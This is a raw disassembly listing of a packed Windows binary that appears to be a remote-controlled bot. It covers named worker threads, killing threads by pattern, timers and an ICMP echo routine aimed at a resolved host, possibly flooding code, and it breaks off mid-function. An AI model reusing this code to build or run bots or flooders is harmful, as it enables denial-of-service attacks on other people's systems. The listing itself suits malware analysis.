; =============== S U B	R O U T	I N E =======================================



sub_406A08	proc near		; CODE XREF: sub_407A76+10ACp

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_406A3E
		push	[esp+4+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	sub_40457C
		pop	ecx
		pop	ecx
		push	offset aDriveinfoThrea ; "Driveinfo thread"
		push	0
		push	esi
		push	offset sub_40682C
		call	sub_406D58
		add	esp, 10h


loc_406A3E:				; CODE XREF: sub_406A08+10j
		pop	esi
		retn
sub_406A08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A40	proc near		; CODE XREF: kkrunchy:0041139Fp

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4120DC	; QueryPerformanceCounter
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4120D8	; QueryPerformanceFrequency
		xor	eax, eax
		cmp	[ebp+var_C], eax
		jl	short loc_406AA1
		jg	short loc_406A68
		cmp	[ebp+var_10], eax
		jbe	short loc_406AA1


loc_406A68:				; CODE XREF: sub_406A40+21j
		cmp	[ebp+var_4], eax
		jl	short loc_406AA1
		jg	short loc_406A74
		cmp	[ebp+var_8], eax
		jbe	short loc_406AA1


loc_406A74:				; CODE XREF: sub_406A40+2Dj
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_4116B0
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_4116A0	; ceil
		pop	ecx
		pop	ecx
		call	sub_411678	; _ftol
		jmp	short loc_406AB0
; ---------------------------------------------------------------------------


loc_406AA1:				; CODE XREF: sub_406A40+1Fj
					; sub_406A40+26j ...
		call	dword_4120D4	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx


loc_406AB0:				; CODE XREF: sub_406A40+5Fj
		mov	dword_419670, eax
		leave
		retn
sub_406A40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AB7	proc near		; CODE XREF: sub_405FF3+4Fp
					; sub_407A76:loc_408BBDp ...

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4120DC	; QueryPerformanceCounter
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4120D8	; QueryPerformanceFrequency
		xor	eax, eax
		cmp	[ebp+var_C], eax
		jl	short loc_406B18
		jg	short loc_406ADF
		cmp	[ebp+var_10], eax
		jbe	short loc_406B18


loc_406ADF:				; CODE XREF: sub_406AB7+21j
		cmp	[ebp+var_4], eax
		jl	short loc_406B18
		jg	short loc_406AEB
		cmp	[ebp+var_8], eax
		jbe	short loc_406B18


loc_406AEB:				; CODE XREF: sub_406AB7+2Dj
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_4116B0
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_4116A0	; ceil
		pop	ecx
		pop	ecx
		call	sub_411678	; _ftol
		leave
		retn
; ---------------------------------------------------------------------------


loc_406B18:				; CODE XREF: sub_406AB7+1Fj
					; sub_406AB7+26j ...
		call	dword_4120D4	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		leave
		retn
sub_406AB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B29	proc near		; CODE XREF: sub_40656A:loc_4065E2p
					; sub_407A76+1196p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4120DC	; QueryPerformanceCounter
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4120D8	; QueryPerformanceFrequency
		xor	eax, eax
		cmp	[ebp+var_C], eax
		jl	short loc_406B8A
		jg	short loc_406B51
		cmp	[ebp+var_10], eax
		jbe	short loc_406B8A


loc_406B51:				; CODE XREF: sub_406B29+21j
		cmp	[ebp+var_4], eax
		jl	short loc_406B8A
		jg	short loc_406B5D
		cmp	[ebp+var_8], eax
		jbe	short loc_406B8A


loc_406B5D:				; CODE XREF: sub_406B29+2Dj
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_4116B0
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_4116A0	; ceil
		pop	ecx
		pop	ecx
		call	sub_411678	; _ftol
		jmp	short loc_406B90
; ---------------------------------------------------------------------------


loc_406B8A:				; CODE XREF: sub_406B29+1Fj
					; sub_406B29+26j ...
		call	dword_4120D4	; GetTickCount


loc_406B90:				; CODE XREF: sub_406B29+5Fj
		sub	eax, dword_419670
		leave
		retn
sub_406B29	endp


; =============== S U B	R O U T	I N E =======================================



sub_406B98	proc near		; CODE XREF: kkrunchy:004112AAp

var_4		= dword	ptr -4

		and	dword_419690, 0
		push	1980h
		call	sub_4114C4	; malloc
		mov	dword_419698, eax
		mov	[esp+4+var_4], offset dword_419678
		call	sub_4071D2
		pop	ecx
		retn
sub_406B98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406BBC	proc near		; DATA XREF: sub_406C5D+25o

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_412288
		push	offset sub_41175A
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	esi, [eax]
		mov	[ebp+var_20], esi
		mov	edi, [eax+4]
		mov	[ebp+var_1C], edi
		push	eax
		call	sub_4114CA	; free
		pop	ecx
		push	esi
		call	dword_4120E0	; IsBadCodePtr
		test	eax, eax
		jz	short loc_406C24
		cmp	dword_4191D8, 0
		jz	short loc_406C46
		push	esi
		push	offset dword_41447C
		push	offset dword_418E50
		call	sub_409659
		add	esp, 0Ch
		jmp	short loc_406C46
; ---------------------------------------------------------------------------


loc_406C24:				; CODE XREF: sub_406BBC+48j
		push	edi
		call	esi	; wsprintfA
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_406C4C
; ---------------------------------------------------------------------------
		push	offset aBtg	; "btg"
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40287C
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]


loc_406C46:				; CODE XREF: sub_406BBC+51j
					; sub_406BBC+66j
		or	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax


loc_406C4C:				; CODE XREF: sub_406BBC+6Fj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C5D	proc near		; CODE XREF: sub_4056AC+F9p
					; sub_40719C+21p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	8
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_406CAD
		mov	eax, [ebp+arg_0]
		mov	[esi], eax
		mov	eax, [ebp+arg_4]
		mov	[esi+4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	esi
		push	offset sub_406BBC
		push	20000h
		push	0
		call	sub_411760	; _beginthreadex
		add	esp, 18h
		test	eax, eax
		jz	short loc_406CA6
		push	eax
		call	dword_4120AC	; CloseHandle
		push	1
		pop	eax
		jmp	short loc_406CAF
; ---------------------------------------------------------------------------


loc_406CA6:				; CODE XREF: sub_406C5D+3Bj
		push	esi
		call	sub_4114CA	; free
		pop	ecx


loc_406CAD:				; CODE XREF: sub_406C5D+11j
		xor	eax, eax


loc_406CAF:				; CODE XREF: sub_406C5D+47j
		pop	esi
		leave
		retn
sub_406C5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CB2	proc near		; DATA XREF: sub_406D58+C9o

var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_19B		= byte ptr -19Bh
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_412298
		push	offset sub_41175A
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	al, byte_4191D0
		mov	[ebp+var_19C], al
		push	60h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_19B]
		rep stosd
		stosw
		stosb
		and	[ebp+var_4], 0
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		mov	ecx, [eax+10h]
		mov	[ebp+var_1A0], ecx
		add	eax, 14h
		push	eax
		lea	eax, [ebp+var_19C]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+10h]
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_406D47
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_19C]
		push	eax
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40287C
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax


loc_406D47:				; CODE XREF: sub_406CB2+72j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406CB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D58	proc near		; CODE XREF: sub_4014B0+79p
					; sub_4018D5+78p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	offset dword_419678
		call	sub_407200
		cmp	dword_419690, 10h
		pop	ecx
		jnz	short loc_406D83
		push	[ebp+arg_4]
		call	sub_4114CA	; free
		pop	ecx
		xor	ebx, ebx
		jmp	loc_406E5D
; ---------------------------------------------------------------------------


loc_406D83:				; CODE XREF: sub_406D58+19j
		mov	ecx, dword_419698
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		mov	edi, 198h
		jz	short loc_406DA9
		xor	edx, edx
		lea	eax, [ecx+10h]


loc_406D9A:				; CODE XREF: sub_406D58+4Fj
		mov	esi, [ebp+arg_0]
		cmp	[eax], esi
		jz	short loc_406DBD
		inc	edx
		add	eax, edi
		cmp	edx, 10h
		jl	short loc_406D9A


loc_406DA9:				; CODE XREF: sub_406D58+3Bj
		mov	[ebp+var_4], ebx
		xor	edx, edx
		lea	eax, [ecx+8]


loc_406DB1:				; CODE XREF: sub_406D58+63j
		cmp	[eax], ebx
		jz	short loc_406DCB
		inc	edx
		add	eax, edi
		cmp	edx, 10h
		jl	short loc_406DB1


loc_406DBD:				; CODE XREF: sub_406D58+47j
					; sub_406D58+82j
		push	[ebp+arg_4]
		call	sub_4114CA	; free
		pop	ecx
		jmp	loc_406E5D
; ---------------------------------------------------------------------------


loc_406DCB:				; CODE XREF: sub_406D58+5Bj
		mov	eax, edx
		imul	eax, 198h
		add	eax, ecx
		mov	[ebp+var_4], eax
		mov	[eax], edx
		jz	short loc_406DBD
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		cmp	esi, ebx
		jz	short loc_406DE8
		mov	[esi], eax


loc_406DE8:				; CODE XREF: sub_406D58+8Cj
		mov	ecx, [ebp+arg_0]
		mov	[eax+10h], ecx
		lea	eax, [ebp+arg_10]
		push	eax
		mov	eax, [ebp+var_4]
		push	[ebp+arg_C]
		add	eax, 14h
		push	eax
		call	sub_411766	; vsprintf
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	ecx, esi
		mov	[eax+4], ebx
		inc	dword_419690
		mov	eax, [ebp+var_4]
		cmp	esi, ebx
		jnz	short loc_406E1B
		mov	ecx, eax


loc_406E1B:				; CODE XREF: sub_406D58+BFj
		add	eax, 0Ch
		push	eax
		push	ebx
		push	ecx
		push	offset sub_406CB2
		push	ebx
		push	ebx
		call	sub_411760	; _beginthreadex
		mov	ecx, [ebp+var_4]
		add	esp, 18h
		mov	[ecx+8], eax
		mov	eax, [ebp+var_4]
		cmp	[eax+8], ebx
		jnz	short loc_406E5A
		push	esi
		call	sub_4114CA	; free
		dec	dword_419690
		push	edi
		lea	eax, [ebp+var_4]
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		add	esp, 10h
		jmp	short loc_406E5D
; ---------------------------------------------------------------------------


loc_406E5A:				; CODE XREF: sub_406D58+E4j
		push	1
		pop	ebx


loc_406E5D:				; CODE XREF: sub_406D58+26j
					; sub_406D58+6Ej ...
		push	offset dword_419678
		call	sub_40720B
		pop	ecx
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		leave
		retn
sub_406D58	endp


; =============== S U B	R O U T	I N E =======================================



sub_406E6F	proc near		; CODE XREF: sub_4011C4+2DEp
					; sub_401621+277p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_419678
		push	edi
		push	esi
		call	sub_407200
		mov	edi, [esp+0Ch+arg_0]
		dec	dword_419690
		pop	ecx
		push	dword ptr [edi+8]
		call	dword_4120AC	; CloseHandle
		push	198h
		push	0
		push	edi
		call	sub_4114E8	; memset
		push	esi
		call	sub_40720B
		add	esp, 10h
		pop	edi
		pop	esi
		retn
sub_406E6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406EA9	proc near		; CODE XREF: sub_407A76+912p

var_188		= byte ptr -188h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 188h
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		push	edi
		jz	loc_406F80
		push	esi
		call	sub_4059F0
		test	al, al
		pop	ecx
		jz	short loc_406F07
		push	esi
		call	sub_41151C	; atoi
		mov	edi, offset dword_419678
		mov	esi, eax
		push	edi
		call	sub_407200
		pop	ecx
		cmp	esi, 10h
		pop	ecx
		jnb	short loc_406EFE
		imul	esi, 198h
		mov	eax, dword_419698
		add	eax, esi
		cmp	dword ptr [eax+8], 0
		jz	short loc_406EFE
		mov	dword ptr [eax+4], 1


loc_406EFE:				; CODE XREF: sub_406EA9+39j
					; sub_406EA9+4Cj
		push	edi
		call	sub_40720B
		pop	ecx
		jmp	short loc_406F80
; ---------------------------------------------------------------------------


loc_406F07:				; CODE XREF: sub_406EA9+1Fj
		push	ebx
		push	esi
		push	offset aS	; "*%s*"
		lea	eax, [ebp+var_188]
		push	185h
		push	eax
		call	sub_41152E	; _snprintf
		mov	edi, offset dword_419678
		push	edi
		call	sub_407200
		mov	ebx, dword_419690
		add	esp, 14h
		xor	esi, esi


loc_406F35:				; CODE XREF: sub_406EA9+CDj
		mov	eax, dword_419698
		add	eax, esi
		cmp	dword ptr [eax+8], 0
		jz	short loc_406F6A
		lea	ecx, [ebp+var_188]
		add	eax, 14h
		push	ecx
		push	eax
		dec	ebx
		call	sub_40790B
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_406F66
		mov	eax, dword_419698
		mov	dword ptr [esi+eax+4], 1


loc_406F66:				; CODE XREF: sub_406EA9+AEj
		test	ebx, ebx
		jz	short loc_406F78


loc_406F6A:				; CODE XREF: sub_406EA9+97j
		add	esi, 198h
		cmp	esi, 1980h
		jb	short loc_406F35


loc_406F78:				; CODE XREF: sub_406EA9+BFj
		push	edi
		call	sub_40720B
		pop	ecx
		pop	ebx


loc_406F80:				; CODE XREF: sub_406EA9+10j
					; sub_406EA9+5Cj
		pop	edi
		pop	esi
		leave
		retn
sub_406EA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_406F84	proc near		; CODE XREF: sub_407A76+943p

var_18C		= dword	ptr -18Ch
var_188		= byte ptr -188h
arg_0		= dword	ptr  4

		sub	esp, 18Ch
		push	ebp
		push	esi
		mov	esi, [esp+194h+arg_0]
		xor	ebp, ebp
		cmp	esi, ebp
		push	edi
		jz	loc_4070A5
		push	esi
		call	sub_4059F0
		test	al, al
		pop	ecx
		jz	short loc_407008
		push	esi
		call	sub_41151C	; atoi
		mov	edi, offset dword_419678
		mov	esi, eax
		push	edi
		call	sub_407200
		pop	ecx
		cmp	esi, 10h
		pop	ecx
		jnb	short loc_406FFC
		imul	esi, 198h
		mov	eax, dword_419698
		add	eax, esi
		cmp	[eax+8], ebp
		jz	short loc_406FFC
		dec	dword_419690
		mov	esi, [eax+8]
		push	198h
		push	ebp
		push	eax
		call	sub_4114E8	; memset
		add	esp, 0Ch
		push	ebp
		push	esi
		call	dword_4120E4	; TerminateThread
		push	esi
		call	dword_4120AC	; CloseHandle


loc_406FFC:				; CODE XREF: sub_406F84+3Dj
					; sub_406F84+4Fj
		push	edi
		call	sub_40720B
		pop	ecx
		jmp	loc_4070A5
; ---------------------------------------------------------------------------


loc_407008:				; CODE XREF: sub_406F84+23j
		push	ebx
		push	esi
		push	offset aS	; "*%s*"
		lea	eax, [esp+1A4h+var_188]
		push	185h
		push	eax
		call	sub_41152E	; _snprintf
		push	offset dword_419678
		call	sub_407200
		mov	eax, dword_419690
		add	esp, 14h
		mov	[esp+19Ch+var_18C], eax
		xor	edi, edi
		mov	ebx, 198h


loc_40703B:				; CODE XREF: sub_406F84+113j
		mov	eax, dword_419698
		add	eax, edi
		cmp	[eax+8], ebp
		jz	short loc_40708F
		dec	[esp+19Ch+var_18C]
		lea	ecx, [esp+19Ch+var_188]
		add	eax, 14h
		push	ecx
		push	eax
		call	sub_40790B
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_407089
		mov	eax, dword_419698
		dec	dword_419690
		add	eax, edi
		push	ebx
		push	ebp
		push	eax
		mov	esi, [eax+8]
		call	sub_4114E8	; memset
		add	esp, 0Ch
		push	ebp
		push	esi


loc_40707C:				; DATA XREF: kkrunchy:00415DF8o
					; kkrunchy:00415E0Co ...
		call	dword_4120E4	; TerminateThread
		push	esi
		call	dword_4120AC	; CloseHandle


loc_407089:				; CODE XREF: sub_406F84+D9j
		cmp	[esp+19Ch+var_18C], ebp
		jz	short loc_407099


loc_40708F:				; CODE XREF: sub_406F84+C1j
		add	edi, ebx
		cmp	edi, 1980h
		jb	short loc_40703B


loc_407099:				; CODE XREF: sub_406F84+109j
		push	offset dword_419678
		call	sub_40720B
		pop	ecx
		pop	ebx


loc_4070A5:				; CODE XREF: sub_406F84+14j
					; sub_406F84+7Fj
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 18Ch
		retn
sub_406F84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4070AF	proc near		; DATA XREF: sub_40719C+1Co

var_1B0		= dword	ptr -1B0h
var_1A4		= byte ptr -1A4h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		push	1A3h
		lea	eax, [ebp+var_1A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		mov	eax, dword_419690
		add	esp, 10h
		test	eax, eax
		jz	loc_407183
		push	esi
		push	edi
		push	10h
		push	eax
		lea	eax, [ebp+var_1A4]
		push	offset dword_4144F4
		push	eax
		call	sub_4096CB
		mov	esi, offset dword_419678
		push	esi
		call	sub_407200
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		add	esp, 14h
		xor	edi, edi


loc_407112:				; CODE XREF: sub_4070AF+C5j
		mov	eax, dword_419698
		cmp	dword ptr [edi+eax+8], 0
		jz	short loc_407165
		push	esi
		call	sub_40720B
		mov	[esp+1B0h+var_1B0], 3E8h
		call	dword_4120A4	; Sleep
		push	esi
		call	sub_407200
		mov	eax, dword_419698
		pop	ecx
		lea	eax, [edi+eax+14h]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	[ebp+arg_0]
		push	offset dword_4144E4
		push	eax
		call	sub_4096CB
		mov	eax, dword_419698
		add	esp, 10h
		cmp	dword ptr [edi+eax+4], 0
		jnz	short loc_407176


loc_407165:				; CODE XREF: sub_4070AF+6Dj
		inc	[ebp+arg_0]
		add	edi, 198h
		cmp	edi, 1980h
		jl	short loc_407112


loc_407176:				; CODE XREF: sub_4070AF+B4j
		push	esi
		call	sub_40720B
		pop	ecx
		pop	edi
		xor	eax, eax
		pop	esi
		jmp	short locret_407198
; ---------------------------------------------------------------------------


loc_407183:				; CODE XREF: sub_4070AF+2Fj
		lea	eax, [ebp+var_1A4]
		push	offset dword_4144C4
		push	eax
		call	sub_4096CB
		pop	ecx
		xor	eax, eax
		pop	ecx

locret_407198:				; CODE XREF: sub_4070AF+D2j
		leave
		retn	4
sub_4070AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40719C	proc near		; CODE XREF: sub_407A76+6D3p

arg_0		= dword	ptr  4

		push	esi
		push	1A3h
		call	sub_4114C4	; malloc
		test	eax, eax
		pop	ecx
		jz	short loc_4071D0
		mov	esi, [esp+4+arg_0]
		push	esi
		push	eax
		call	sub_40457C
		push	esi
		push	offset sub_4070AF
		call	sub_406C5D
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4071D0
		push	esi
		call	sub_4114CA	; free
		pop	ecx


loc_4071D0:				; CODE XREF: sub_40719C+Ej
					; sub_40719C+2Bj
		pop	esi
		retn
sub_40719C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4071D2	proc near		; CODE XREF: sub_4045B7+6p
					; sub_406B98+1Dp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	18h
		push	0
		push	esi
		call	sub_4114E8	; memset
		mov	eax, dword_4191E0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4071F7
		push	80000400h
		push	esi
		call	eax	; InitializeCriticalSectionAndSpinCount
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4071F7:				; CODE XREF: sub_4071D2+19j
		push	esi
		call	dword_4120E8	; InitializeCriticalSection
		pop	esi
		retn
sub_4071D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_407200	proc near		; CODE XREF: sub_404639+11p
					; sub_406D58+Cp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4120EC	; RtlEnterCriticalSection
		retn
sub_407200	endp


; =============== S U B	R O U T	I N E =======================================



sub_40720B	proc near		; CODE XREF: sub_404639+20Ep
					; sub_406D58+10Ap ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4120F4	; RtlLeaveCriticalSection
		retn
sub_40720B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407216	proc near		; CODE XREF: sub_40287C+13p
					; sub_40D6E0+44Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xadd [esi], eax
		pop	esi
		pop	ebp
		retn
sub_407216	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407227	proc near		; CODE XREF: sub_403338+14p
					; sub_403338+20p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xchg eax, [esi]
		pop	esi
		pop	ebp
		retn
sub_407227	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407237	proc near		; CODE XREF: sub_4072FC+13Bp

var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		call	dword_41969C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_40725A
		push	offset aCouldNotGetAVa ; "Could	not get	a valid	ICMP handle\n"
		call	sub_411778	; printf
		pop	ecx
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40725A:				; CODE XREF: sub_407237+12j
		push	ebx
		push	esi
		push	edi
		push	8
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		call	sub_4114E8	; memset
		movzx	esi, [ebp+arg_10]
		mov	al, [ebp+arg_8]
		push	esi
		mov	[ebp+var_C], al
		call	sub_411772
		mov	ebx, eax
		push	esi
		push	45h
		push	ebx
		call	sub_4114E8	; memset
		add	esp, 1Ch
		cmp	[ebp+arg_10], 8
		jnb	short loc_407293
		push	8
		pop	eax
		jmp	short loc_407295
; ---------------------------------------------------------------------------


loc_407293:				; CODE XREF: sub_407237+55j
		mov	eax, esi


loc_407295:				; CODE XREF: sub_407237+5Aj
		lea	esi, [eax+1Ch]
		push	esi
		call	sub_411772
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_C]
		lea	eax, [ebp+var_C]
		push	esi
		push	edi
		push	eax
		movzx	ax, [ebp+arg_10]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	dword_4196A8
		cmp	eax, 1
		jz	short loc_4072CF
		call	dword_41206C	; RtlGetLastWin32Error
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_4072DD
; ---------------------------------------------------------------------------


loc_4072CF:				; CODE XREF: sub_407237+89j
		mov	eax, [ebp+arg_4]
		mov	ecx, [edi]
		mov	[eax+4], ecx
		mov	ecx, [edi+8]
		mov	[eax+8], ecx


loc_4072DD:				; CODE XREF: sub_407237+96j
		push	[ebp+var_4]
		call	dword_4196A4
		push	ebx
		call	sub_41176C
		push	edi
		call	sub_41176C
		pop	ecx
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407237	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4072FC	proc near		; DATA XREF: sub_40756C+C9o

var_2D8		= byte ptr -2D8h
var_135		= byte ptr -135h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D8h
		push	ebx
		push	esi
		push	edi
		push	2ACh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		xor	ebx, ebx
		add	esp, 10h
		cmp	byte_4196B0, bl
		jnz	short loc_407387
		push	offset aIcmp_dll ; "ICMP.DLL"
		call	dword_41205C	; LoadLibraryA
		cmp	eax, ebx
		mov	dword_4196A0, eax
		jz	loc_40752B
		mov	esi, dword_412060
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		mov	dword_41969C, eax
		push	dword_4196A0
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		mov	dword_4196A8, eax
		push	dword_4196A0
		call	esi	; GetProcAddress
		mov	dword_4196A4, eax
		mov	byte_4196B0, 1


loc_407387:				; CODE XREF: sub_4072FC+33j
		cmp	dword_41969C, ebx
		jz	loc_40752B
		cmp	dword_4196A8, ebx
		jz	loc_40752B
		cmp	dword_4196A4, ebx
		jz	loc_40752B
		lea	eax, [ebp+var_135]
		push	eax
		call	dword_412254	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		jnz	short loc_4073EB
		lea	eax, [ebp+var_135]
		push	eax
		call	dword_41224C	; gethostbyname
		cmp	eax, ebx
		jz	loc_407466
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
